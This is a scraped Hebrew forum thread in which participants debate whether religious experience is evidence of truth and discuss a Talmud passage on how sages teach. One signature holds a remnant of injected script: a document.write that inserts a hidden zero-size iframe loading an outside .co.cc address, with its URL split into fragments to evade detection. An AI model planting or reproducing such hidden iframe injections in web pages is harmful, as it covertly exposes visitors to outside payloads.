| נשלח ב-25/3/2015 17:37 |
 |
| |
על המוכנות הסופית לדיון
אם השפה היא הסגולה שמפרידה בין האדם לבהמה, אזי היכולת האנושית להידבר היא מה שמבדיל בין הבריון והאלים לבין החכם והסובלן. זה גם המפתח לטובת האדם. היכולת לשתף, לדון, אפילו להתווכח, מאפשרת לנו לבדוק את עצמנו ולהשתפר, גם בתיאוריות שלנו, גם בתיקון עצמנו. ויכוחים כמובן הם מסוכנים ולא תמיד בריאים.כמה זמן מוכן אדם להקשיב לפטפוטים של זולתו, או למה שנראה לו בוודאות כפטפוטים, לפני שיימאס לו? לפני שיעזוב אותו, או, מה שגרוע יותר, יחליט לכפות עליו את הטוב שהלה, העקשן והאוויל, אינו מבין מעצמו ואינו מוכן ללמוד? ויש גם סיכון שהצד השני יהיה פחות עדין ממני ובכעסו על מה שנראה כעקשנותי האוילית יחליט להרים עלי יד... ניתן היה לצפות לכל הפחות מתלמידי חכמים שיטו אוזן זה לזה. האם לא לימדנו רבי אלעזר בן עזריה כיצד לומדים תורה? יש מגוון של דעות, יש מחלוקות, יש שיטות. הדרך היחידה לאמת עוברת דרך הקשבה מירבית לזולת, נסיון להבין, ובסופו של דבר, על סמך ידע רב והבנה, גם שיפוט ואימוץ מה שנראה כאמת. זה כל האדם. על כן מפתיע לגלות שגם חכמים נלאו לפעמים לדון עם זולתם. שהם מסרבים לנמק ולהסביר את שיטתם, לענות לשאלות של הזולת, להסביר לו את האמת, להסביר לו פנים. האם זה בגלל שגם חכמים הם בני אדם, וגם להם יכול להימאס, בשלב כלשהו? האם המידות שלהם גברו על מסירותם לאמת, להטבה לזולת, לסובלנות ולסבלנות? או שמא חכם עשוי להגיע למסקנה שאין טעם לדון עם חכם אחר מפני שהוא מה שמכנים היום "נעול" על הנחות יסוד שלא יוותר עליהן, שלא יקבל שיטה שונה? כמובן, יש סוגי בני אדם שאיתם לכאורה אין מה לנסות להידבר. גם אם תכתוש את האויל במכתש, לא תסור מעליו טפשותו, הלא כן? או שמא הבעיה היא שמנסים לכתוש אותו במקום להאיר לו פנים ולהסביר לו? זה מחייב מאמץ, לחפש הנחות יסוד משותפות, להסכים על צורת דיון, להתקדם לאט לאט... אבל האם יש דרך אחרת להשיג תוצאות? לחנך? ללמד? והאם לא זוהי חובתו של החכם? בהתחשב בכל זאת, הנה לפנינו אירוע מדהים, לדעתי לפחות, בדף היומי.
 |
|
|
|
|
| נשלח ב-2/4/2015 12:29 |
|
| |
אלי ס.
כתבת שלא עניתי לשאלתך. תמהני. אם תבדוק את הציטוט של שאלתך תראה שהתחלתי לענות ואף הסברתי מה אפשר לומר ומה לא.
בסיום שאלת שאלה שנראית לי חדשה, אבל בשמחה אענה עליה כמיטב יכולתי, חדשה או מחודשת.
בכל הפוסט לא ענית כלל לשאלתי... במכוון??
אתה חווה חוויה X. לו נניח שהיא משותפת לעוד שנים עשר מליון איש. מאחר ומוסכם כי החוויה יכולה לנבוע ממניעים פסיכולוגיים / פסיכיאטריים / כימיכליים או אחרים, הכיצד יכול עצם קיומה של החוויה להוות בעינך ראיה לאמיתות מה שעומד מאחוריה?
בעינך. וקל וחומר בעיני אחרים.
כאשר בודקים חויה, יש כמה ערעורים שניתן לערער על היסק מתוכה לגבי משהו "חיצוני" לחויה ולי עצמי, החווה.
א. חויה היא תמיד משהו סובייקטיבי. לכן אי אפשר להעביר אותה לאחרים.
ב. על כל חויה שלנו, אפשר להקשות את כל השאלות הספקניות שרק ייתכנו, כמו הנסיונות של דקרט לשלול את אמינות מה שהוא חש, בין "מבחוץ", בין "מבפנים".
ג. יותר ספציפית, גם אם אני חווה מפגש עם אדם מבחוץ שנראה לי ונשמע לי כאילו העביר לי מסר, יתכן שזו טעות, שפירשתי את החויה לא נכון. ששמעתי קול מדבר אלי בשעה שזה היה באמת משהו מבחוץ, אבל לא דיבור אלא משהו אחר. (אדגר אלן פו מתאר באחד מסיפורי הבלשים הראשונים שנכתבו אי פעם קוף ענק שפורץ לבית. תוך כדי כך הוא משמיע קולות משונים. כל השכנים מאמינים ששמעו שיחה של אדם זר בשפה לא מוכרת, כל אחד מייחס זאת לשפה זרה לו. אבל באמת אין שם שום דיבור.).
התשובה היא כמובן שאין שום דבר ודאי באופן שהספקן או דקרט רצו להשיג. הצעתי, שאני חוזר עליה באשכולות רבים, היא להבין שהמונח "ודאות" יכול לשמש ברמות שונות. ואנו גם נאלצים להסתפק ברמות שונות של ודאות, לפי התחום שבו השאלה על הודאות צצה.
כמובן, כאשר אנו מחפשים אמונה דתית, הדרישות שלנו צריכות להיות גבוהות ביותר, ולא נוותר, ויפה אתה עומד על הצורך לברר היטב היטב את הנחות היסוד, את הנתונים, את התקפות. ואני שותף לכל תביעותיך.
צדקת שאדם יוכל לטעון: לא שיכנעת אותי. אין לי את החויות שלך. גם אם היו לי, הייתי מפקפק בהן. יש לנו בני האדם אינטרס להאמין בטענות דתיות כי הן מספקות צרכים אנושיים (פחד, תקוה לעתיד, תקוה לחיים לאחר המוות, תקוה לגמול צדק לטובים ולרעים).
אבל יש גם לזכור שזה שאני יכול לשאול, וזה שהתשובה אינה ודאית, זה לא אומר שהיא אינה נכונה.
נסתכל לרגע על הצד השני.
האדם החווה, כפי שאתה כנראה אינך מכיר, עשוי להיות עם תחושת ודאות גבוהה במה שהוא חווה ובפרשנות שהוא נותן.
בעבר המלצתי ואני ממליץ שוב על סיפורו של ר' נחמן על החכם והתם ועל הפרשנות של הרב עדין שטיינזלץ ("ששה מסיפורי ר' נחמן מברסלב", יצא מחדש ונמכר בזול בשבוע הספר. לדעתי מציאה).
בקצרה: התם חווה גילוי של אלוקים. החכם מסרב להאמין לו. הוא גם מעלה קושיות על החויה שלו. אבל מי שחוה את החויה המיוחדת הזו, יודע שהיא בלתי ניתנת לספק. (אפשר בהחלט לשאול אם ר' נחמן לא הגזים ואם תיתכן חויה כזו). בכל אופן, יש כאן טיעון תקף.
האם החויה שלי היא התגלות ממש נבואית כמו של התם של ר' נחמן? ודאי שלא. אני חווה ספקות רבים לצד החויות הדתיות שלי. כפי שעדין שטיינזלץ מתאר, יש שעות יפות של מפגש עם אלוקים, שבהן אני חש את הליווי שלו, את הדיאלוג איתו (איני שומע אותו אבל אני חש בכל מאודי שהוא מקשיב לי). ויש שעות שבהן אני יכול לומר לעצמי את כל מה שאלי ס. יכול לומר: האם איני מרמה את עצמי?
אבל זה שאני מתרחק מהחויה ומקשה עליה יכול לנבוע משתי סיבות שונות לגמרי, לכאורה.
א. ברגע של החויה אני באשליה.
ב. החויה מלמדת אותי דבר אמיתי. רק מטבעו של האדם (והעולם) שלאחר החויה מתחילים לפקפק. זה חלק מהציוד הנפשי והאינטלקטואלי שלנו.
אם תרצה לטעון: אז זה סובייקטיבי? נכון. כתבתי זאת פעמים רבות. אבל "סובייקטיבי" אינו שם גנאי.
אתה יכול לתת לעצמך הזדמנות ואני בטוח שתוכל להכיר חויות כאלו בעצמך. אני תמה מדוע לא חוית כאלו עד היום.
זה שאפשר לחשוד בחויות האלו, זה עצוב מאד, אבל זה מה שיש.
רוזנצויג, שמחזיק כמדומה בתפיסה דומה לשלי, עסק בניתוח דומה למה שאני רוצה לטעון בספרו "על השכל הבריא והחולה". הוא טען שהספקות ואימוצם כדי לדחות את החויה הדתית שהיא כל כך ראשונית נובעים ממצב פתולוגי. כמובן אין שום חובה פילוסופית או אחרת לקבל את דברי רוזנצוויג. אדרבה, מי אומר שהוא צודק? לפי מה נותנים ציון לשכל הספקני או הנאחז בודאות? האם לא ישר יותר אינטלקטואלית לומר: אני ספקן, אני גיבור, איני נעתר להאמין בחויה שמפתה אותי?
ובכן, התשובה של רוזנצויג ור' נחמן ושטינזלץ (ואפשר להוסיף לרשימה) תהיה שזו טעות, שהתעקשות כזו נועלת את שערי המפגש עם ה'.
יש לנו בחירה. יש לך בחירה. לא כתבתי שיש לך עוולה לסרב לקבל את הפרשנות לחויה, ובמיוחד אם לא חוית אותה. זה אפילו מחייב לדעתי אומץ פילוסופי. לא שקל להיות דתי (לא כתבתי "יהודי דתי" אלא "דתי" במובן המונותיאסטי), יש בעיות קשות אחרות. אבל יש גם אומץ בעמדה ספקנית או אתאיסטית. רק מה, חבל שהאומץ והיושר הנפלאים האלו מתבזבזים על מה שר' נחמן היה מגדיר כעקשנות שמביאה להפסד כה גדול.
בשכבר הימים פתחתי אשכול על ההומורסקה הנפלאה של קישון על השכן שמספר שנחרב בנין ההסתדרות, ומסרב להסתכל ולראותו עומד.
זה משל נפלא על עקשנות. כל כך נוח ליישם אותו על דתיים עקשנים וחסרי מודעות פילוסופית/יושר אינטלקטואלי.
אבל זה יכול להיות משל גם עבור המחזיקים בשיטת ר' נחמן/שטיינזלץ. המסרבים לפתוח את החלון כדי לראות את אלוקים מדבר אליהם. אוטמים אזניהם בשם הספקנות, גיבורים להתעקש לא להכניס שום חויה חשודה אלא לחיות לפי המינימום הפרגמטי שמתאפשר להם.
אני מקוה שהבהרתי את עצמי. בוודאי שהוספתי וכתבתי עוד. סליחה אבל זה היה חשוב בעיני.
ולגבי כל מה שכתבתי, סבורני שאפשר, בזהירות, לטעון שזו פרשנות אפשרית למה שכתוב במקרא. ואני מצטט חלקים משני פסוקים
פרשת ניצבים
הַחַיִּים וְהַמָּוֶת נָתַתִּי לְפָנֶיךָ הַבְּרָכָה וְהַקְּלָלָה וּבָחַרְתָּ בַּחַיִּים לְמַעַן תִּחְיֶה אַתָּה וְזַרְעֶךָ:
(כ) לְאַהֲבָה אֶת יְדֹוָד אֱלֹהֶיךָ לִשְׁמֹעַ בְּקֹלוֹ וּלְדָבְקָה בוֹ כִּי הוּא חַיֶּיךָ וְאֹרֶךְ יָמֶיךָ
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-2/4/2015 12:06 |
|
| |
אפרים
איני סבור שאני נאיבי=תמים, לכל הפחות ביחס לתלמוד ולחכמינו. נאיבי הוא נטול מודעות ביחס להנחות היסוד שלו ואינו מוכן לבדקן.
יש לי טעם שבשלו אני נותן אמון בחכמינו. אני סבור שהם היו מחוייבות למערכת של ערכים, מצוות, אמת, כללי התנהגות שתרשה לי לכנותם "נעלים".
האם אתה מכיר את סיפורי התלמוד מהסוג שמופיעים בכרכים של "כה עשו חכמינו"? (יש אפילו אשכול על פטירתה של עורך הקובץ, יוכבד סגל). אם כן, אתה יכול לראות את מידותיהם.
עכשו זה נכון שיש יוצאי דופן. הדוגמא שהבאת על האלימות וההרג בין תלמידי בית שמאי לבית הלל היא דוגמא יוצאת דופן וכנראה היא אפילו מושתקת. אולם האם היא אופיינית?
איך נדון לגבי השאלה שלנו, מה מאפיין יותר את חכמינו, המידות הטובות (בלי להיכנס לפירוט) או העדרן? האם נסקור את המעשים המובאים בתלמוד? האם נסקור את האמירות של חכמים בנושאים אלו? בלי דרך, כלומר מתודולוגיה, אנו עלולים להיקלע למצב שבו נשמיע את הנחות היסוד שלנו במקום להסתמך על עובדות. זאת כמובן בתקוה שיש עובדות שיכולות לאשש את הערכתי את את הערכתך.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/4/2015 07:58 |
|
| |
אליס
רק הערונת, במחילה.
אם אכן כל מה שאני יכול לומר על העולם הוא סובייקטיבי אזי אין החוויה גרועה מכל טענה אחרת.
|
|
|
|
| נשלח ב-2/4/2015 00:21 |
|
| |
"עובדה אובייקטיבית המתייחסת אליי" זה משפט שקרי (FALSE)
הייחוס אליך הופך זאת ללא אובייקטיבי.
מכל מקום בלא קשר לטרימנולוגיה, עצם העובדה שאתה יודע שזו עובדה רק כלפיך זה מצויין. אין שום קשר להשלכות על המציאות.
|
|
|
|
| נשלח ב-1/4/2015 23:18 |
|
| |
35 המעלות הם עובדה אובייקטיבית המתייחסת אלי. יטען מיימוני שגם החויה האלוקית היא עובדה אובייקטיבית המתייחסת אלי.
אני אישית לא מאמין בטיעון הזה.
|
|
|
|
| נשלח ב-1/4/2015 22:56 |
|
| |
יש. אין שום הבדל בין טעם לראיה, שניהם יכולים להיות אובייקטיביים.
שנינו נטעם אותו טעם בגלידה. ההבדל הוא שלאחד טעם זה ישחרר אנדרופינים מסויימים והוא יאהב זאת, משנהו לא.
|
|
|
|
| נשלח ב-1/4/2015 22:54 |
|
| |
מעולה. הא ותו לא.
אתה יכול לדעת שבחוויה שלך חווית חוויה חוץ טבעית. אין זה משליך כלום על המציאות אפילו על החווה. לא כל שכן על אחרים.
|
|
|
|
|
| נשלח ב-1/4/2015 20:21 |
|
| |
אריאל
אם כל החושים שלי הם סוביקטיביים (אין הבדל בין הטעם לראייה), אני לא יכול להגיד שום דבר אובייקטיבי על העולם.
|
|
|
|
| נשלח ב-1/4/2015 19:21 |
|
| |
אם אפשר להתערב, אני יכול לדעת בואופן אובייקטיבי שהגלידה קרה מהלשון שלי ב35 מעלות.
|
|
|
|
| נשלח ב-1/4/2015 18:48 |
|
| |
ולשם תוספת הבהרה הבה נעשה זאת שלב שלב. נא התייחס רק לנשאל.
אתה אוכל גלידה, בחוויה שלך היא קרה. מכאן אתה מסיק שהגלידה הייתה בטמפרטורה -2C.
ככל שמוסכם שייתכן והחוויה שלך נובעת לא מקור הגלידה אלא מחום הלשון שלך אין לך אפשרות לדעת מה טמפרטורת הגלידה בלי נתונים חיצוניים נוספים.
עד כאן מוסכם?
|
|
|
|
| נשלח ב-1/4/2015 16:43 |
|
| |
| מיימוני כתב: |  | אלי ס.
אנא הסבר מהו הקריטריון האובייקטיבי לבדיקת חוויה.
אנא הסבר האם לא ייתכן כי החוויה שלך מקורה ממניע זר.
אם אדייק במילותיך, סבורני שאין לי מה לנסות להסביר עקב דרישות גבוהות מדי, או לא שייכות. ואסביר כמובן.
"אובייקטיבי" הוא, בשימוש לשוני בפילוסופיה ואצלי כאן ובכל מקום, הוא דבר בלתי תלוי בתודעה. לפיכך, הבקשה לקריטריון "אובייקטיבי" מבקשת דבר בלתי אפשרי, אם כי אפשר שכוונתך להראות שזה דבר בלתי אפשרי.
אובייקטיבי הוא דבר שאינו תלוי בסובייקט הבוחן אותו. בשימוש לשוני אובייקטיבי הינו דבר אשר הגדרותיו יחולו כלפיי כל ולא תוך כדי הנחת המבוקש.
בנידון דנן ביקשתי שתגדיר קריטריון לבדיקת חוויה. מאחר ואתה מתקשה לקבל את המילה אובייקטיבי, אשמח לקבל הגדרה כלשהי. מהו הקריטריון לבדיקת חוויות?
יש שלוש רמות של מעמד אונטולוגי ואפיסטמולוגי.
א. אובייקטיבי. מה שביקשת. בלתי תלוי בתודעה.
ב. סובייקטיבי. ההפך הגמור. תלוי רק בסובייקט.
ג. אינטר-סובייקטיבי. נמצא בשטח שפתוח לסובייקטים רבים, ולכן ניתן לדיון ביניהם.
לא אאריך לדון בשאלה אם הדברים שאנו מכירים ותכני הכרותינו הם אובייקטיביים או אינטר-סובייקטיביים. ברור שמה שאני חווה וחושב פתוח רק לי ולא לאף אחד אחר.
מדברי הרב סולוביצ'יק ניתן להציע רמה שנמצאת בין הסובייקטיבי לאינטר-סובייקטיבי. אלו הם דברים שבתודעתי אבל אני מאמין שהם משותפים גם לאחרים.
מה הערך בזה שחוויות משותפות לך ולאחרים. מה הופך חוויות לאמיתות?
זה לא חדש. אני מניח שרבים כמוני מכירים גם את טעם הגלידה, את ריח הפריחה של האביב (נניח הדרים) ואת המגע הנעים של רוח אביבית, כפי שמכירים גם כאבי שינים ואותן תחושות שמלוות את השפעת.
אכן. הם לא טוענים כי בגלל חווית טעם הגלידה הם נחשפו לאמת אבסולוטית. אדרבא, ההשוואה לגלידה במקומה. אותה "חוויה" שלך, מקורה בסוג אחר של הפרשת כימיכלים. מה בכך??
אם אלך לדוגמא מעניינת, הסופר הרוסי החשוב מאד דוסטוייבסקי מתאר חוויות של אנשים מיוחדים, אבל הקורא יכול להזדהות, מבחינה מסויימת, עם הגיבור. לא נעים לחוש הזדהות עם רסקולניקוב (מי שעתיד להיות הרוצח המתלבט ובסופו של ספר גם המתחרט ב"החטא ועונשו") אבל דוסטוייבסקי מצליח להעביר את התחושות. ואולי זה רק אני שחש כך? וגם מבקרים ספרותיים? אפשר להוסיף לרשימה למשל את הארי פוטר ותחושותיו (נניח במאבקו ופחדו מן הדמנטורים בספר השלישי) אם מחפשים משהו יותר מוכר.
כפי שאפשר לתאר חויות מכל סוג, אפשר לתאר גם אותו תחום שכיניתי "חויה דתית".
דוגמא מעניינת מאד אפשר למצוא ב"שם הורד" לאומברטו אקו. כוונתי כמובן לחויה ה*** שעובר הגיבור הצעיר, שאותה הוא מסביר לעצמו במונחים שלקוחים מתיאורי חויה דתית. זה מהפך מ"שיר השירים". איני יודע מה היתה הכוונה המקורית של הספר, שרבי עקיבא קורא לו "קודש קודשים", אבל החל מחז"ל ועבור לימי הבינים מפרשים אותו כמשל, ואצל הפילוסופים זה משל על החויה הדתית (ששונה לגמרי משל הרב סולוביצ'יק). הנזיר מחפש לתאר לעצמו במונחים את מה שחוה ב***, ולכן הוא משתמש בתיאורי דבקות פילוסופיים ומיסטיים ומחזיר אותם לרובד החיים המוכר והנפוץ יותר (איני יודע באיזו מילה להשתמש כאן. SECULAR במובן של לא דתי). אקו, כסגנונו, מבצע מהפך ספרותי ופילוסופי שקסם לי כשהבחנתי בכך.
אם כן, לפנינו תיאורי חויות במונחים ששייכים למישור הסובייקטיבי (האם יש דבר יותר סובייקטיבי מאהבה?) ובכל זאת יש ציפיה שיבינו מה אני מתאר.
אז זה סוג החויות מבחינת המיון הפילוסופי האמור, כאשר אני מציע לקבוע לו דרגת בינים.
***
המונח "ייתכן" יש בו כפילות.
יש "ייתכן" שהינו אפשרות שרבים בפורום שלנו מכנים "סבירה". למשל, סביר או אפשרי שפלוני יגיע למנין הקבוע למנחה, אבל אפשר שלא.
ויש "יתכן" ברמה אחרת. היתכנות לוגית או דמיונית אבל רחוקה עד כדי כך שלא נייחס לה חשיבות מעשית. האם יש חייזרים אי שם בחלל? האם יש שדים ורוחות? מי שיסביר שאחר לעבודה כי נחטף בידי חייזרים יופנה לפסיכיאטר אם הוא רציני או יפוטר במקרה שלא. כלומר, זה "יתכן" במובן השני אבל לא במובן הראשון.
כעת, לאיזה "ייתכן" התכוונת בשאלתך?
***
המניע ה"זר"
המניע שלי אינו "זר". המניע שלי:
הוא לחוות ולשמר את זכר החויה הדתית שהיא חשובה מאד בחיי.
להעביר זאת לאחרים כי אני סבור שאני מועיל להם בהזכרת או בפתיחת עולם חויות זה עם מה שנובע, לכאורה, ממנו.
כמובן, יש תועליות פסיכולוגיות לאמונות דתיות ולחויות דתיות, ולכן ניתן לחשוד בהן. ובוודאי יתכן שאדם יוליך את עצמו שולל. ואני מודה בכך בקלות. כמובן, זה שזה "ייתכן" לא אומר שזה באמת כך...
בכל הפוסט לא ענית כלל לשאלתי... במכוון??
אתה חווה חוויה X. לו נניח שהיא משותפת לעוד שנים עשר מליון איש. מאחר ומוסכם כי החוויה יכולה לנבוע ממניעים פסיכולוגיים / פסיכיאטריים / כימיכליים או אחרים, הכיצד יכול עצם קיומה של החוויה להוות בעינך ראיה לאמיתות מה שעומד מאחוריה?
בעינך. וקל וחומר בעיני אחרים. _________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-1/4/2015 16:40 |
|
| |
| מיימוני כתב: | |
אני יכול להבין מי שיגיד: עד כאן. אבל גם אז אצפה שיאמר זאת ולא בצורה של "ה' יצילנו ממך ומדעתך".
|
|
מיימוני ,האם חז"ל מפתיעים אותך כל פעם מחדש בהתנהגותם או בדבריהם? נותר רק לגחך על תמונת העולם הנאיבית שאתה מצייר לעצמך .
"תלמידי בית שמאי עמדו להן מלמטה והיו הורגין בתלמידי בית הלל"
|
|
|
|
| נשלח ב-1/4/2015 14:20 |
|
| |
לפעמים קשה מאוד להגדיר/להסביר מדוע אני מאמין לפלוני בעוד שחברי לא. וכפי שכתבתי, קל וחומר לשכנע. יש תחנה סופית למילים. ולפעמים צריך להסכים שזה עניין שאינו תלוי ב"עיבוד נתונים" אנושי (כי במה שתלוי בו אין מקום למחלוקת מושכל. יש רק צד אחד). הסגנון של "רחמנא ליצלן" - כל אחד וסגנונו
|
|
|
|
| נשלח ב-1/4/2015 13:53 |
|
| |
והנה עוד דוגמא מוזרה מן הדף היומי שלאחרונה
תלמוד בבלי מסכת כתובות דף נ עמוד ב
יתיב רב יוסף קמיה דרב המנונא, ויתיב רב המנונא וקאמר:
[ישב רב יוסף לפני רב המנונא וישב רב המנונא ואמר משפט לעיון:]
כשם שאין הבנים יורשין אלא מן הקרקע, כך אין בנות ניזונות אלא מן הקרקע.
אווש עליה כולי עלמא:
[התרגשו כולם והתפלאו:]
דשביק ארעא הוא דירתי ליה בניה, דלא שביק ארעא לא ירתי ליה בניה?
[רק מי שהותיר קרקע לירושה יורשים הבנים, ואם לא אז לא?]
אמר ליה רב יוסף: ודלמא כתובת בנין דכרין קאמר מר?
[רב יוסף מציע אוקימתא=מקרה מסויים שלא אבאר כאן. לא זה הנושא].
אמר ליה: מר דגברא רבא הוא, ידע מאי קאמינא.
[רב המנונא משבח את רב יוסף שאדם חכם ולכן הבין].
מעתה יש לשאול: מדוע רב המנונא הציג את הדברים בצורה מבלבלת, כאילו אין ירושה אלא בקרקע, כאשר כוונתו היתה לתקנה מסויימת במקרים פרטיים של חלק מירושה כללית?
יש כמה וכמה תשובות אפשריות. למשל, שרב המנונא ידע יפה מאד שדבריו מביכים, אבל הוא רצה לעורר את הענין של הלומדים, שיראו מייד את הבעייתיות ויקשו. לפי זה, אין כאן שום מקום להעיר.
אבל אם רב המנונא התכוון ללמד משהו, הכיצד מלמדים משהו שרק חכמים מסוגלים להבין? ומה עם השאר?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-1/4/2015 13:49 |
|
| |
תלמיד ט
כתבת
כי מרמה מסויימת והלאה אי אפשר להגדיר, ק"ו לשכנע. ויתכן שהם הבינו שהגיעו לכך (אולי כ"א ידע את התשובות העתידיות של חבירו עד לנקודת ההבדל)
האמנם אי אפשר לנסח במילים מה שאני חש בצורה ברורה מאד?
כבר כתבתי ואחזור שוב: נכון שלפעמים אנו מוצאים עצמנו במצב שנעתקות המילים או שמחפשים ואין. ולכן אנו זקוקים למילים חדשות. אבל תמיד אפשר ליצור מונחים על ידי שאילה של הקיים או במטאפורות (או שזה אותו דבר).
וזה בדיוק מה שאני מצפה שייעשה. שאדם יגדיר לעצמו ואחר כך יחלוק עם הזולת.
ואני מאמין שאמת המוצגת לאחרים נושאת עמה את היכולת להתקבל. לא "לשכנע" כי זה נשמע שימוש בשיטה מטעה ומנצלת, אבל הזמנה לבדיקה ולהחלטה עצמית שכן, זה נכון, זה ודאי חשוב.
אני יכול להבין מי שיגיד: עד כאן. אבל גם אז אצפה שיאמר זאת ולא בצורה של "ה' יצילנו ממך ומדעתך".
|
|
|
|
|
